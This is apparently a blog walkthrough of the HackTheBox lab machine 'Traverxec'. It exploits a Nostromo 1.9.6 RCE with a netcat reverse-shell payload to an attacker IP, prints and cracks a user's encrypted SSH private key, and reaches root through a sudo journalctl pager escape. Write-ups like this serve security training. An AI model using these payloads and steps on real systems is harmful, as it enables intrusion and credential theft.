HackTheBox “Traverxec” Walkthrough
Traverxec, an easy-level Linux OS machine on HackTheBox, necessitating thorough enumeration and exploitation of the web server, Nostromo. The initial step involved capitalizing on a Remote Code Execution (RCE) vulnerability using a python script we got through searchsploit. Subsequently, I leveraged the knowledge of the user’s utilization of a web home directory on the server to pivot into their private files. The final phase entailed elevating privileges to root by exploiting the utilization of sudo in conjunction with journalctrl.
Let’s get started! 🚀
Recon & Enumeration
Let’s use nmap to full scan for open ports and services:
Visit the target at port 80.
Given that the target is operating a Nostromo 1.9.6 web server as we got from nmap scan results, we will check what would searchsploit tell us.
We get an exploit that corresponds precisely to the version. Let’s download it.
Let’s run it.
Exploitation:
We will initiate the process by deploying the following command as a payload argument for the Python script:
nc 10.10.14.8 4343 -e /bin/bash
However, let’s set up a listener.
Run the script.
Check the listener.
Privilege Escalation:
Since we have a Nostromo web server, let’s have a look around and check its conf folder.
The home directory of David possesses restricted readability for us; nonetheless, it is feasible to directly cd into the folders referenced within the conf file above. Let’s have a look at the public_www folder.
We are gonna need to extract this backup folder, so, let’s cp it to /tmp and then extract.
Check id_rsa.
www-data@traverxec:/tmp$ cat home/david/.ssh/id_rsa
cat home/david/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9G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3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----
We transfer the target file to our attack box, where we utilize the ssh2john tool to convert it into a format that can be processed by John. Subsequently, we initiate the John to perform the password cracking process on the converted file.
We ssh into the target using the id_rsa and the passphrase we cracked “hunter”.
Let’s have a look around David’s home folder.
Run server-stats.sh.
server-stats.sh.
david@traverxec:~$ cat /home/david/bin/server-stats.sh
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
After reviewing the information within the ‘server-stats.sh’ file, it appears that the user ‘david’ possesses permissions to execute ‘journalctl’ with root. This signifies that I have the capability to employ the subsequent command with elevated privileges:
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
As per the details provided in GTFOBins, an opportunity presents itself to break free from the pager using the!/bin/bash
. It is worth noting to minimize the shell window as small as possible to be able to type the command.
Now, we can escape it with !/bin/bash.
Cheers.